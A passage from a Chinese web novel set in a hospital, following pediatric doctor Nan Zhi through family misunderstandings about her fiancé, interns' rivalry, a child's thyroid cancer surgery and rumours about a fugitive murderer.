奶奶催道:“小栀啊,你和小陆啥时候结婚?我在你这个年纪,孩子都有了。小陆人不错,赶紧定下来。” 南栀想到孩子就瑟瑟发抖,赶紧给奶奶打预防针,“其实……就算结婚,我们也不打算要孩子。” “为啥?” “还能不要孩子?” “这可不行,没孩子老了咋办?” 老想法三连问。 南栀绞尽脑汁地想理由,“这个吧,其实,怎么说呢,就是……陆医生不是受伤了吗?” “为了救患者,他被烧伤那次?” 南栀赶紧点头,“所以啊,他就不太好。” 黄春兰惊讶道:“不能生了?” 南栀说:“不要在他面前提啊,他会难过的。” 奶奶说:“难怪他们家不在乎咱家条件不好。” 一切都说得通了! 黄春兰也不用担心南栀嫁过去会受欺负了! 黄春兰担忧道:“可既然他不能生了,你们还……这不太好吧?” 南栀赶紧渲染氛围,“他早就和我说过了,但我就是看中他这个人嘛,人好是不是比啥都强?你看我爸,虽然丑了点儿,但对你好不好?” 南明杰:“?” 让他瞧瞧是哪个亲闺女在说话。 南栀说:“咱不能不仁义,陆教授和姑姑对我都挺好的,还教了我很多呢,我做手术就是陆教授教的!” 黄春兰是个善心人,不然也不会任劳任怨地把妹妹拉扯大,还供她们读书。 “好吧,”黄春兰说,“不过还是得积极治病啊,万一还有希望呢?他是不能生,还是……” 黄春兰尴尬地看着闺女。 她觉得这事蛮重要的,但不知道怎么开口。 南栀看了黄春兰好一会儿,没懂。 她模模糊糊道:“我也不知道啊,可能都有吧。” 黄春兰险些没喘过这口气。 这可咋整?! 等南栀铺垫的满意了回自己的房间。 奶奶立刻和黄春兰聚在一起,“小陆还有这方面的问题,咋办?” “我觉得不行啊,虽然小陆人好,对南栀也不错,家里条件也可以,但这……” 奶奶说:“小栀和你一样,认死理,我看她是不会分手的。” 黄春兰犹豫道:“我倒是听说过几个土方子……” “人家是医生,能听咱们的土方子吗?要不就给他多补补,年轻人嘛,又是因为受伤,说不定能补回来。” 黄春兰伤感道:“可怜的小栀哦,还是那么小的一个孩子。” 此时弱小的南栀正在房间里……举铁。 举得有点儿烦,但现在说要出去跑步,家里人肯定不让。 得想个好办法。 * 关于杀人犯的传闻已经传到医院里。 南栀刚到办公室,就听到其他医生在议论。 儿科的人多了,办公室也热闹。 “南医生,你听说了吗?昨天晚上又有人被杀了。” 是刚来实习的邓悦。 邓悦是临川市医科大学的学生,来医院实习的,刚轮到儿科。 南栀摇头。 她还是不太喜欢看社会新闻。 叶宾说:“你们都得小心,我听说是奸杀,专门挑年轻女孩,特别恐怖。” 叶宾也是刚来实习的学生,和邓悦是同班同学。 “对对对,”韦宁雨道,“好像是直接捂死的,或者是掐死的?尸体就扔在臭水沟里。” 阮乔说:“臭水沟吗?我听说是被分尸了,有一部分在河里,还有一部分已经流入市场,有人买猪肉时就买到人肉了。” “好像是有这么说的,挺多人都买到人肉,唉,怎么会有这种人?咱们都得小心。” 南栀:“……” 杀人犯的新闻是昨天的。 说逃到临川市也是昨天。 这么快就又杀了一个人,然后分尸,尸块还流入普通老百姓家了? 说杀人犯可能再害人,南栀相信。 但说已经有好些人吃上人肉了,那可太玄。 南栀说:“建议你们组团去神内看看,咱们自己人看病,应该有优惠。” 阮乔:“……” 邓悦撇撇嘴,扭头翻起期刊来。 叶宾乐呵呵道:“南老师就是太理智。” 邓悦白了叶宾一眼,“马屁精。” 两人是同班同学,还都是班干部,邓悦比叶宾更强一点儿,她是学生会主席。 叶宾道:“这怎么是拍马屁,是实话啊。” 邓悦低声道:“你没听说吗,她都没上过医专,就来当医生了,咱们可是正经的医科大学学生,咱们的年纪比她都大!你拍她马屁有啥用?” 叶宾说:“没上过医专就成医生了,这不是更厉害嘛?” “真蠢,和你说不明白,”邓悦叹气,“我的成绩,明明可以去更好的医院,我来康宁医院就是奔着陆教授来的,没想到我刚来她就走了,唉。” 叶宾没想过这些,学校让他去哪,他就往哪里跑。 “其实你现在换家医院还来得及吧?” “算了,我可怕耽误事,”邓悦把期刊递给叶宾,“而且我看康宁医院的儿科还有一个能人,就这个发表论文的,叫高仁,我想找他当老师。” 这个人发表了很多篇论文,但是有数据支撑的论文比较少,应该不是搞科研的。 叶宾摇头道:“我就想在前线,我去找南老师。” 邓悦鄙夷道:“目光短浅,而且你就算不想搞科研,也得找个正经医生教你啊,她连大学都没读过,她教的你敢听吗?” 被邓悦一说,叶宾也有些犹豫。 南栀平时很冷静,看病时也蛮靠谱的,叶宾一直想跟着南栀。 但他们念过医科大学的都知道医学生学业繁重,从早到晚地上课,如果南栀真没念过书,能教吗? 叶宾苦着脸说道:“我还是先背课本吧。” 他掏出刚从韦宁雨那边买的笔记。 “这是什么,太基础了吧?” “是挺基础,不过这份笔记很神奇,特别容易背,”叶宾邀请道,“我背完借给你?” 邓悦略有嫌弃,“我还是多看几篇论文吧。” 基础的内容,她可不想再看了。 医院马上就要评职称,除了南栀,其他人都在积极准备。 阮乔也很积极,她倒不是为了前途,只是想尽快做主治医生。 南栀整理的所有笔记她都有,每个人的思维方式都不同,南栀的笔记很神奇,特别容易背。 再结合这些年的工作经验,阮乔对笔记上的内容还有新的领悟,她觉得自己的医术突飞猛进。 儿科的医生多了,南栀就有时间多研究手术。 康宁医院还没有正经的小儿外科,她目前做的所有手术都是和其他科室合作的。 这是陆教授带的头,没人有意见。 陆教授走后,祁念珍全力支持南栀,大家也不敢有意见。 不过与南栀合作次数多了,大家发现她手术时特别稳当,被迫就成了自愿。 荀芳的手术还得和普外商量。 柴倩美回来后,倒是挺尽心地照顾荀芳,只不过两人经常在病房里啃干粮。 南栀几人看不过去,每个人给她们捎顿饭,还不能让其他家属知道,好在同病房的家里条件都还凑合,买水果时还会分给荀芳。 荀芳还得做术前检查。 柴倩美在病房盯着收费单发愁。 “你也别太担心了,车到山前必有路,要不你来临川打工,我帮你找找工作,一千块钱嘛,攒攒就出来了。” 对于普通人家来说,一千块肯定很多,不过总得给柴倩美一点儿希望。 柴倩美仍然没有斗志,“我啥都不会,能打啥工?” “你不是手巧吗?去私人的厂子,或者干脆自己做东西去摆摊,我看现在很多人都摆摊。也别编筐了,这玩意太耐用,可以做其他手工,钩针啊、织毛衣啊,这不都行?” 柴倩美看向和她说话的女人。 这些柴倩美都会,但能赚钱吗? 他们村里的女人都会这些。 女人说:“有不想费工夫的,只要手艺好就行,你别着急,我帮你打听打听。” 柴倩美终于露出笑容,“谢谢啊。” 女人又问:“你是林村来的?” 柴倩美点头。 “你们村真有个杀人犯?我看报纸上连续报道了两天了?” 柴倩美神色一沉,忽然又板起脸,“不知道。” 女人被柴倩美的态度吓了一跳。 “就是问问嘛,有啥好生气的……不说了还不行。” 阮乔找到南栀,“柴倩美好奇怪,一说林村的事她就生气。” 南栀还在研究荀芳的检查报告。 “林村?” “林村不是跑出来一个杀人犯吗?都说他现在正在临川市杀人,将来还会去其他市,大家就好奇啊,他们是一个村的,都想问问,结果一说到这事,柴倩美就很生气,你说她为啥不想提?” 南栀琢磨道:“或许她和凶手认识?” 根据大桑村的情况来看,这种村子,基本上整个村子的人都互相认识。 都是生活了好几十年的地方,抬头不见低头见,就这么大点儿。 阮乔紧张兮兮道:“我想啊,我是说,新闻也没说杀人犯是男人吧?杀人犯会不会是女人?” 南栀听得发蒙,“女人?奸杀?” “也不一定是这种**啊,”阮乔说得有理有据,“我看过一个恐怖故事,就是女人作案,用的是木棍。新闻上有说提取**了吗?没说!” 南栀问:“你知道神内怎么走吗?” “知道啊,三楼就是,出了门左转……南栀!!我在认真分析案情!!” 南栀抱着检查报告溜走。 她倒不是说凶手一定不会是女人,但柴倩美的孩子还生着病呢,还有心情去杀人? 应该不太符合凶手的行为逻辑。 荀芳的手术定在两天后,南栀主刀,其余人都是普外的,阮乔上台当三助。 南栀做手术其实不太需要三助,二助都多余,有人帮着拉钩就行,不过阮乔也想学学。 南栀提前去了手术室。 康宁医院的手术室也不多,有录像设备的就那么一间。 陆随正在做手术,箫珵等在手术室外的房间,房间里装了电视机,可以直接从电视中看到手术室的情况。 南栀研究了好一会儿大肚子电视机,现在的设备都很笨重。 箫珵向她介绍,“是动脉瘤,不小,手术难度很高。” 但陆随处理起来得心应手,起码南栀没看出他有任何紧张不安。 录像中,陆随正在分离动脉瘤壁。 视频比较模糊,但能看出陆随的动作,他的手依然很稳。 动脉瘤被取出,陆随用人工血管代替病变部分。 南栀的眼睛一直在陆随身上没动。 手术过程十分漫长。 箫珵见状,眉头挑得老高,“你不去忙?手术还得几个小时才结束。” 南栀依依不舍道:“要是能再看一会儿就好了。” 箫珵说:“我做手术时你也可以来。” 南栀:“?” 箫珵:“……” 南栀赶紧补救,“哥哥也很厉害,只是以前你做手术时我刚好没时间,下次我肯定来!你下次手术安排在什么时候?陆随明天上午有手术,你应该是……” 南栀没想起来。 箫珵面无表情,但同时还能微笑,就是有点儿瘆人。 “记陆随手术的时间倒是很清楚。” 南栀:“……” 她选择跑路。 她刚到办公室,打算去食堂打饭回来,阮乔就慌慌张张跑了进来,“你听说了吗?刚刚有个男人来找柴倩美。” “男人?” “是啊!男人!俩人神神秘秘的,可能是不想让人看见吧,躲出去见的面,这男的长得凶神恶煞的,他们还吵架了。” 南栀问:“是荀芳的爸爸?” “肯定不是,”阮乔说,“其他家属说荀芳不认识他,看见他没反应,柴倩美看到他立刻把他带走了,不想让他和其他人说话。” 越遮掩越可疑。 阮乔有点儿害怕,“你说这个男人会不会是林村逃出来的杀人犯,所以柴倩美听到这话才不高兴。” 柴倩美的脾气虽然一直都不好,但是提到林村杀人犯时,她的反应的确也不对。 就算是认识的,提几句也没什么,大家都没恶意,听说杀人犯逃到临川,肯定都会害怕。 阮乔道:“你和我过去看看?” 有南栀在阮乔比较放心。 南栀点头,又看向邓悦,“能帮我打一份饭吗?” 刚刚邓悦也说要去食堂。 邓悦撇了下嘴,接着笑道:“南老师,我还得去病房一趟,不去食堂了。” 叶宾道:“我去,我帮你打。” 邓悦偷偷对叶宾翻白眼。 上学时他就喜欢在老师周围忙前忙后,大家都知道他的心思。 有小心思没什么,但得跟对人。 邓悦不太想帮南栀的忙。 想到自己千辛万苦读了这么多年书才有机会来医院实习,南栀只要参加个什么培训班就能进医院,他们还得叫她老师,邓悦心理不平衡。 南栀跟着阮乔离开。 邓悦说道:“你就那么喜欢巴结医生?” “打饭而已,顺便嘛,我们如果遇到问题,还得问南老师呢。” 邓悦道:“还是盛主任比较好吧?经验丰富,医科大学毕业的,是我们的学姐。” 叶宾不赞同,“不管南老师有没有念过医科大学,她工作的时间都比我们久,见到的病人也比我们多,你没听说她过两天还要给荀芳动手术吗?” 邓悦一心走科研的路,对病房的事不太上心。 “能是什么大手术?”邓悦道,“康宁医院的水平你又不是不知道,而且这里又没有儿外,她动什么手术?” 叶宾说:“没条件就去创造条件,这还不厉害?你可别太小瞧人。如果让你打饭的是陆医生,你还能拒绝?” 陆随是陆嘉述的孙子,全院皆知。 他还是在首都医科大学毕业的,和临川的学校相比,一个天上一个地下。 邓悦说:“可惜啊,陆医生在心外,我们要轮过去还要很久。不过我们还真得巴结巴结陆医生,万一以后真做儿科的医生了,陆教授岂不是能帮得上我们?” 叶宾无语。 巴结陆随? 陆教授帮忙? 她也真敢想。 他在梦里梦到,都得赶紧抽自己一巴掌的程度。 南栀和阮乔来到住院部病房。 走廊里,几个家属正窃窃私语,看到南栀和阮乔,连忙叫她们过去。 “南医生,阮医生,芳芳是个好孩子,我们都知道,你看她平时做检查都很听话,吃药也乖乖吃,但是……她爸妈真的没问题吗?我们有点儿担心。” 刚才来病房的男人过于凶神恶煞。 柴倩美脾气也不好,这俩人凑在一起真是绝了。 南栀问:“人走了?” “已经走了,被柴倩美拖走了,我看他看芳芳的眼神不对,这男人是不是柴倩美后找的,芳芳不是他亲生的吧?” 阮乔道:“你看,我没骗你吧,真的很凶。” “柴倩美回来了吗?” “没呢,我们刚刚在楼上看见他俩在下面吵架,不知道走没走,现在找不到了。” 南栀说:“你们该做什么就做什么,我和医务部报备一下,先看看情况。现在没有任何证据,柴倩美只是带孩子来看病,就不要再对别人说了。” “明白,我们也只是担心孩子,唉,其实就算他们真的是……我是说那个,就算是,也不能不让芳芳治病吧?芳芳这孩子是真的可怜啊。” 南栀先联系医务部。 接待南栀的依然是韩阅松。 和 上次一样,他默默记录,默默做事,看起来像受气包。 阮乔等得不耐烦了,催道:“大哥,你能不能快点儿,如果真有问题,等你记录完,我都能给自己选墓地了!” 韩阅松抬起头,欲言又止。 阮乔以为他要说杀人犯的事,耐心等着。 韩阅松说:“墓地很贵,你买不起。” 阮乔:“……” “别拉着我!我要和他拼了!拼!了!” 目前来看,康宁医院的医务部很不完善,估计除了帮忙报警也做不了什么。 至于保安……仍然是后厨的叔叔阿姨们,提着铁锅往前冲,比谁都凶悍。 韩阅松记录好,看着南栀说道:“如果出事,我会上报医院,会报警,这两天我会经常过去走走。” 南栀盯着韩阅松的身板看了会儿,又看看自己已经练出来的肌肉。 南栀说:“我会照顾好自己。” 韩阅松点头,“明白就好。” 阮乔:“……” 他们医院设立医务部到底是做什么的? 南栀又去医院楼下转了一圈。 她没看到传说中凶神恶煞的男人,只看到柴倩美神色阴郁地往住院楼走。 南栀正要跟过去,被门卫大爷叫住,“正好你来了,你看看这是不是你家属?” 南栀回头,看到大爷领着黄春兰走进来,黄春兰手中提着保温壶。 “妈?你怎么来了?” 黄春兰不好意思道:“我不认路,让人家给我带路,刚进来就碰到你了。” 南栀赶紧和大爷道谢。 大爷腿脚不好还要帮她,太感动了。 南栀接过黄春兰手中的保温壶,“走,去我办公室。” “不用了,”黄春兰笑道,“我就是来送东西的,不打扰你了,你去给小陆送过去吧。” “啊?”南栀问,“这是给陆医生的,不是给我的?” 黄春兰用笑容掩饰尴尬,“这汤是做给小陆的,你要是喜欢喝,我再给你做。” 南栀奇怪道:“我俩一起喝就好了啊,我不给你喝吗?” 她都闻到肉汤味儿了。 黄春兰低声道:“这汤是男人喝的,不是给你喝的,大补,明白吗?” 南栀似懂非懂。 黄春兰:“就那事!” 南栀还是不太明白。 但看黄春兰的意思,她应该已经明白了,为了不出错,南栀点头,“我懂。” 黄春兰这才放心道:“那就快去吧,趁热喝啊,别和小陆说那事!” 南栀拎着保温壶去找陆随。 陆随刚下手术,人在办公室。 他好像不太知道疲惫,刚做完手术,又在帮几个实习生看病历。 南栀走进去,实习生们看她的年纪还以为都是和他们一起实习的,没给让路。 南栀:“不好意思啊,我就说几句话,一会儿你们再继续。” 实习生们茫然地看着她。 陆随介绍道:“这是南栀,儿科的医生。” 实习生们:“?!” 看着比他们年纪还小! 大家的态度还是不积极。 陆随说:“也是我未婚妻。” 几人齐刷刷抱起笔记本站好,“师母您快来,我们正好有事!马上走!” 南栀:“……” 师母这词怪怪的。 南栀把保温壶交给陆随,坐到陆随侧边,撑着下巴用星星眼看他,“我刚才去看你手术了。” 陆随打开保温壶,研究起里面的东西来。 “手术怎么了?这是什么汤?” 南栀说:“我妈给你做的,让你喝。” 陆随不太明白为什么,但接受了黄春兰的好意,“手术过程有问题吗?” “没有啊,”南栀继续用星星眼瞧他,“你怎么这么厉害啊,分离做得也太漂亮了。” 陆随被夸得不好意思,“也没有吧,一般?” “真的很厉害,我看过很多手术视频,你做得最好了。” 陆随:“……” 他努力抑制嘴角,不要飞起来太快。 “你比我年纪小,手比我稳,将来肯定更厉害。” “我啊,”南栀有点儿愁,“我还没想好研究哪个方向,我可做不到陆教授那样,什么都精通。” 陆随道:“我觉得你行。” 他找来自己的饭盒,又问:“一起喝?” “不了,”南栀盯着保温壶,把馋虫憋回去,“我妈给你做的,她不让我喝。” 陆随一愣,“阿姨对我这么好?” “不知道,”南栀说,“她说大补。” 陆随:“?” 郤文曜看过来,“大补?” 南栀点头。 郤文曜踹醒旁边的闫民怀,“听到没,大补。” 闫民怀原本睡眼惺忪,听到这话眼睛都亮了,“陆哥,你要补啊?” 陆随:“……” 他小心翼翼问南栀,“我要补什么?” 南栀摊手,“可能怕你受伤以后恢复不好吧?” 郤文曜和闫民怀的表情意味深长。 箫珵推开办公室的门走进来,他忙了一天,还没顾得上喝口水。 他刚拿起保温杯,闫民怀就说道:“萧哥,陆哥要大补,他丈母娘亲自来送的汤。” 箫珵:“噗。” 这个……王八蛋,对南栀做了什么!! * 荀芳的术前检查一切正常,就要被推进手术室。 南栀和阮乔正在做准备。 手术需要麻醉,别说是孩子,就算是大人也会害怕,但荀芳表现得很勇敢。 反倒是柴倩美,从昨晚开始就心神不宁,荀芳一直拉着柴倩美的手,直到她被推进去等待手术。 柴倩美看着关上的门,心里空落落的,好像有皮鞭在抽打她。 也不打其他地方,就挑那最薄弱的地方打,她一度站不稳,靠着墙壁缓缓蹲下。 不远处,一个身材高大的男人盯着柴倩美看了良久,朝她走去。 南栀手术时,叫了几个儿科的实习生在外观看。 她希望能有更多的人对儿外感兴趣,有朝一日真能在康宁医院建立儿外科,也能有更多的人才加入。 邓悦打着哈欠看病历,“甲状腺癌?年纪这么小就得癌了。” 叶宾有点儿紧张,“我每次看见内脏都难受,这和大体老师太不一样了。” “你这还能当医生?”邓悦说,“当医生就要做好心理准备,接受度要比普通人好,要无私,要奉献。” 道理都懂,但叶宾做不到。 他看见手术刀划开皮肤都会跟着疼。 邓悦说:“这套设备倒是挺新的,听说是院长新搞来的,但是……我比较想看陆医生做手术,听说他手术做得特别好,前几天还切了一个动脉瘤。” 叶宾说:“大家还说南老师也不错呢。” 邓悦皱眉。 她没见过南栀做手术,但一想到南栀的学历,就总觉得不舒服。 谁懂,医学生真的很累!为什么能有人无痛当医生! 邓悦说:“她真能处理甲状腺癌吗?虽然是比较温和的癌,但是毕竟是癌症。” 叶宾道:“是你对南老师太没信心,看看不就知道了。” 邓悦:“……” 很难有信心。 手术室内正做最后的确认。 荀芳小小的身体躺在床上,孤零零的。 麻醉医生温柔道:“芳芳,你紧张吗?给你吸点儿氧好不好?” 荀芳点头,刚吸了两口“氧”,便慢慢昏睡过去。 手术开始。 南栀调整好荀芳的体位,接着做手术切口。 陆嘉述第一次带南栀做的手术与这相似,只不过当时是甲状腺髓样癌,相对来说更凶险一些。 南栀有条不紊地分开胸锁乳突肌和颈前肌群,在颈中线处纵向划开深筋膜,接着用血管钳分开肌群。 阮乔牢牢记住南栀的每一个动作。 和陆嘉述一样,南 栀会为阮乔讲解,但手中的动作不会慢。 一墙之隔的叶宾赞叹道:“南老师做手术很熟练,就像老手!” 难得他没不舒服。 邓悦看了好一会儿才说:“一般吧,医生嘛,开过刀的都这样。” “才不一样,”叶宾反驳,“你如果多跟几台手术就能知道,老手和新手差别太大了,就南老师的利落程度你就做不到。” 邓悦:“……” 她有点儿委屈。 高中都没考上的人,天赋能比她更好吗? 南栀也就沾了个上过培训班的光吧? 她如果能早点儿参加工作,肯定能比南栀做得更好。 南栀已经看到实性肿物,约4×2×2cm。 术中送检,病理诊断为甲状腺**状癌。 “大小2.7×2.2×1.7cm,周围结节性甲状腺肿,行甲状腺全切术和颈部中央区淋巴结清扫术。” 南栀继续干活,但不再给阮乔讲解,全神贯注地进行手术。 阮乔刚刚就留意到不对劲,她问南栀,“荀芳情况好吗?” 南栀说:“肿瘤的位置不太好,侵犯气管,需要扩大切除范围。” 一助和二助神色严肃。 现在影像分辨率低,术中可能会发现影像上没有体现的情况,会增加手术难度。 南栀说:“深度局限在外膜,可保守性手术,自气管外膜下完整削下肿瘤,保证肉眼无残留和气管黏膜的完整性即可,不用担心。” 阮乔松口气,“还好,可怜她还这么小,会影响预后。” 手术继续。 叶宾道:“如果阮老师不提,我都没看出有变动,南老师真冷静。” 邓悦不说话。 她没看出有问题,也没看出南栀有任何慌乱。 邓悦心情复杂。 如果南栀真的有本事,对她来说当然好,她多了一个能学习的对象。 但是无痛当医生实在让人心痛! 手术看起来一切顺利。 南栀下台去洗手,阮乔差点儿瘫倒南栀身上,“我当时都快吓死了,你跟过的手术里,有过侵犯气管的吗?” 南栀摇头。 “那你也敢做?” 南栀说:“知道是什么情况,手中有数,当然可以做。如果我没把握,会请其他医生过来。” 阮乔:“……” 她就是羡慕南栀的有把握啊! 阮乔道:“今天晚上我要去找我妈,让她当场教学!!” 几人换好衣服后回到办公室。 实习生们都围了上来,“南老师,术前检查没有发现侵犯气管吗?” “遇到这种情况该怎么处理呢?” “南老师南老师……” 南栀被一群学生围着解答问题。 盛昭云在一旁十分自在。 阮乔鄙夷道:“你都代理主任的工作了,还能清闲?” “能者多劳,”盛昭云说,“我又不会做手术,当然都得问南栀。” “不对啊,”阮乔道,“他们是来儿科实习的,怎么都关心手术去了?” 盛昭云笑道:“这不好?万一院长抽风,真的开始搞儿外了呢?” 阮乔说:“那我一定第一个加入。” 她翻出南栀的笔记,“我要做儿外的医生!” 有实习生看到阮乔的笔记,惊喜道:“老师,这本我也有,我看了好多遍,内容特别好,就是印刷质量不行,看了几遍就开始掉页,要是能出书就好了。” 阮乔指了指南栀,“问你老师。” “啊?” 阮乔说:“笔记是她整理的。” 刚进门的叶宾和邓悦同时石化。 叶宾问:“哪份笔记?” 阮乔道:“你买到的所有笔记,都是栀栀整理的,你再去儿科住院部看看,还能找到卖笔记的人。” “这笔记什么科室的都有,”邓悦不敢相信,“你说是南栀……哦不,是南老师整理的?” 阮乔扬眉。 能把笔记整理成容易背的样子,哪里像是没念过医科大学的?! 邓悦愣了两秒钟,扑向南栀,“南老师,你刚刚做手术时……” 围着南栀的人更多了。 学渣阮乔既羡慕又庆幸。 幸好她没本事,不然现在呼吸不畅的就是她了。 这时,办公室的电话响起来,阮乔顺手拿起话筒。 韩阅松道:“你们说的人又来了,报警抓走吗?” 第62章 第62章向小叶同志学习 据韩阅松说,对方人高马大,长相十分凶悍,脸上还有一道代表身份的伤疤。 和街头的社会人很像。 韩阅松作为男子汉,当然要重拳出击,选择……躲起来通知南栀和阮乔。 阮乔赶紧从办公室里抓壮丁。 办公室除了她们都是实习生,壮丁们…… 阮乔看着瘦成杆的学生们沉默了。 良久她才叮嘱道:“多吃点儿饭,知道吗?” 实习生们:阮老师真是好人! 南栀点了几个男生的名,一起去儿科病房。 大家雄赳赳气昂昂往病房走。 走廊里的人还不少,都围在三人病房附近。 “是他吗?” “就是他,之前来过,看着就不像是好人,今天孩子做完手术又过来了。” “真是林村的?我听说林村跑来的凶手还没抓住,如果真是凶手,孩子们怎么办?” 在儿科住院就有这么一个特点,不管什么事都得先考虑孩子。 就算是别人家的孩子也得考虑。 南栀赶紧走过去,“大家都回病房吧,不要在这里聚集了。” 阮乔低声吓唬他们,“要真被你们说中了,到时候跑都跑不掉。” 两秒钟内,聚在走廊的家属都消失了。 南栀这才往荀芳的病房走。 刚到门口她就听到争执声,“你都花了钱了,够了吧?还要继续留在医院?” “家里的事你不管了?爸妈不照顾了?你让女儿怎么想?!” 这话越听越奇怪。 阮乔也疑惑道:“是在说柴倩美吗?她女儿不是刚做完手术,还能怎么想?想恢复呗。” 南栀几人过来,韩阅松才从护士站走过来,悻悻道:“你们可算来了。” 阮乔无语,“你说你白长这么大的个头了,胆子都被谁抢走了?” 韩阅松讪笑,不敢吭声。 南栀道:“我们也别乱猜,人就在里面,直接问问好了。” 南栀率先走进去。 他们人多势众,阮乔也昂首挺胸地跟进去。 屋内只有柴倩美一家三口,其他人全都躲了出去。 柴倩美看到南栀,赶紧起身走过来,“南医生,是荀芳的手术有什么问题吗?” 南栀摇头,看向男人。 长相的确凶狠,皮肤很黑,目光锐利,尤其是嘴边那道伤疤,效果堪比双叶幼儿园园长。 南栀问:“这位是?” “是我爱人,”柴倩美说,“是不是他声音太大吵到别人了?” 她转头责备道:“都跟你说了别来医院,你非得过来!” 邱丹愤恨道:“那也不能总养着别人的孩子。” “邱丹!” 荀芳还没苏醒。 阮乔听得迷糊,“等等,别人的孩子?什么意思?” 南栀说:“出来谈吧。” 柴倩美点点头,揪着邱丹的胳膊往外走。邱丹不乐意,柴倩美便掐了他的腰一下。 邱丹:“哎哟!” 这一声着实委屈。 声音挺耳熟,某位医生也经常想这样装委屈。 南栀惊奇地看去。 这俩人不对劲啊。 几人来到走廊。 幸好南栀提前疏散家属,走廊人不多,没人来看热闹。 “你们刚刚说别人的孩子?荀芳不是你的女儿?” 柴倩美板着脸,瞪了邱丹一眼。 邱丹心虚,抬手摸疤痕。 平时他这动作肯定要吓坏一群人,但柴倩美在旁边,莫名就委屈了很多。 柴倩美道 :“她是我们同村的孩子,看着可怜,带出来看看。” 阮乔愣住。 南栀也有些惊讶,“所以你……” 得知治病要花很多钱时,才说不治了? 南栀问:“治病的钱是哪来的?” 柴倩美含糊道:“累死累活干了这么多年,还能攒攒。” 阮乔追问道:“她的爸妈呢,怎么不管她?” 邱丹脸色又是一沉。 柴倩美捶了他胳膊一下,道:“就当她没爸没妈吧。” 邱丹提醒道:“你别想把她带回家,这是我的底线!” “废话真多,你赶紧走!看着就吓人!” 柴倩美不愿多说了,拉着邱丹回病房。 韦宁雨这才凑过来,低声道:“你们知道男人是过来干嘛的吗?” “做啥?带柴倩美回家?” 韦宁雨神秘微笑,“肤浅,格局太小。” 阮乔:“?” 韦宁雨说:“他是来送钱的,枕巾包着的,一大摞钱。” 南栀困惑道:“他不是不想给荀芳治病吗?” “谁知道呢,”韦宁雨道,“可能还是于心不忍?反正肯定不是坏人。” 南栀和阮乔同时沉默。 病房里柴倩美和邱丹还在吵架,但声音不大。 南栀看了良久才说:“能为别人的孩子做到这个份上,有几个人能做到?” 阮乔有些愧疚,“我当时对她说话是不是太凶了?要不要去道歉啊?” 韦宁雨笑道:“你还天天眼巴巴给人家送饭,也没恶意。” 阮乔心里还是过意不去,“以后不能骂人了。” 韦宁雨:“知道自己鲁莽就好,一个小姑娘,总骂什么人?” 阮乔说:“以后等确认了再好好骂,大声骂!” 韦宁雨:“……” “比如你,”阮乔说,“我就可以天天光明正大地骂。” 韦宁雨:“……” 他举着生理盐水逃之夭夭,“打针喽,给小朋友们打针去喽。” 荀芳清醒后,状态不错。 南栀一直密切注意她的状态,好在她恢复得很快,暂时没有异象。 对于南栀来说,唯一的不妥是,黄春兰接连给陆随送了三天汤。 没一次是给她的! 一口都不让她喝! 南栀忧伤地看着陆随喝汤。 “说实话,其实你才是我妈的儿子吧,咱俩是不是把身份搞反了?” 陆随赞同,“我奶奶总提你,不想看见我。” 南栀叹气,“但陆教授只是提到我。” 陆随却能喝到货真价实的汤! 陆随道:“想喝就一起?” 南栀摇头,“还是你补吧。” 陆随虽说现在状态不错,可毕竟昏迷过,还昏迷了不短的时间,现在身体肯定不如从前,虚弱得多。 他感冒的次数就比南栀多,南栀已经见他喝过三次感冒药了。 如果不是他勤奋地锻炼,现在估摸着比南栀还弱。 南栀再练练,说不定就能像“玩”卫天一样继续“玩”陆随。 心外的医生们一个接一个走进来。 闫民怀,“呀,陆哥又补?这么虚?” 郤文曜看了汤一眼,有些嫌弃,“好好补。” 箫珵根本不想看。 有些话他不好意思和南栀说,也不好意思和陆随说。 但这事很重要,万一南栀真看上陆随了,这可关乎她后半生的幸福。 还是得说。 箫珵对南栀道:“你先回去吧,儿科没事做?” “我还得拿保温壶呢。” “等他喝完,让他给你送过去。” 南栀很听话,“好吧,那我先走了。” 南栀一走,闫民怀立刻“嘘”道:“陆哥太让我失望了!” 陆随挑眉。 箫珵把闫民怀也赶走,想和陆随好好聊聊,“好喝吗?” 陆随淡定道:“你不能喝。” “呵呵,我还真不想喝。”箫珵问,“你到底是怎么回事?你该不会是受伤比较严重,所以……” 陆随:“?” 现在的身体确实没他自己的身体好用。 陆随说:“是不如从前了。” “从前?”箫珵困惑道,“你还有从前?” 他也没见陆随和女生来往过。 陆随身边的女性,也就只有几位教授,不过都已经七老八十了。 箫珵的表情愈发复杂,“你……” 估计是完蛋了。 南栀离开心外后就往诊室走,现在应该是盛昭云在坐诊。 盛昭云要张罗一大堆人的工作,很忙,南栀偶尔会替她分担一下。 走廊有不少窗户,南栀习惯沿着窗户走,能看看楼外的花草树木。 也能看到栅栏外。 南栀没走几步便停住。 栅栏外冒出火星。 她仔细看了片刻,认出是有人在烧纸。 烧纸不奇怪,尤其是医院附近,很常见。 但南栀看到了火星旁的人,穿的衣服很眼熟。 她等了一会儿,果然见柴倩美等火星熄灭后离开。 邱丹在医院附近租了一间房,只有几平米,但好歹能好好睡一觉,现在他和柴倩美轮流照顾荀芳。 两个人挺好的,纸钱是烧给谁的? 南栀回到诊室,盛昭云果然忙不过来。 诊室内很安静,但诊室外很吵,尤其是打吊瓶的房间,有两个孩子哭得那叫一个声嘶力竭。 哭是会传染的,一个开始哭,其他孩子立刻也跟着哭。 盛昭云一个头两个大,“阮乔呢?去哪了?!” 南栀赶紧走过去,“我来帮忙。” 十几分钟后,阮乔才姗姗来迟,一进门就说:“你们听说没,抓到凶手了。” 南栀抬头,“林村的?” “就是他!听说警察找到他的时候,他躲在天桥底下吃饭呢。他装成流浪汉,白天就躲在天桥底下,晚上出去找东西吃,居心叵测啊。” 南栀好奇道:“他真的又在临川市杀人了吗?” “那倒没有,警察说了,他身上就一宗命案,是杀了他们村的一个女孩。后来说的分尸什么的,都是瞎传的。” 南栀笑道:“那我们就能放心了。” 阮乔也想跟着笑,没笑出来。 盛昭云的目光已经能把阮乔完全吞噬。 阮乔:“……,南栀!说什么杀人犯!我们是做什么的?是医生!我心里没有杀人犯!只有治病救人!让开!让我来!” 下午,南栀和韦初雪说好了要见面,韦初雪有资料可以给南栀用。 南栀给韦初雪的办公室打了电话,两人约在影像科。 韦初雪的办公室离得更近,比南栀早到。 “不好意思,正好要来取片子。” 南栀问:“你做检查了?” “韦宁雨废话太多,如果我不做检查,他就要和爸妈说。”韦初雪淡淡道,“他这么啰唆,招人烦。” 南栀笑道:“他也是关心你,你俩毕竟是兄妹。” 虽然没有血缘关系,但能被抱错也是缘分,两人认识也有好几年了。 韦初雪没反驳。 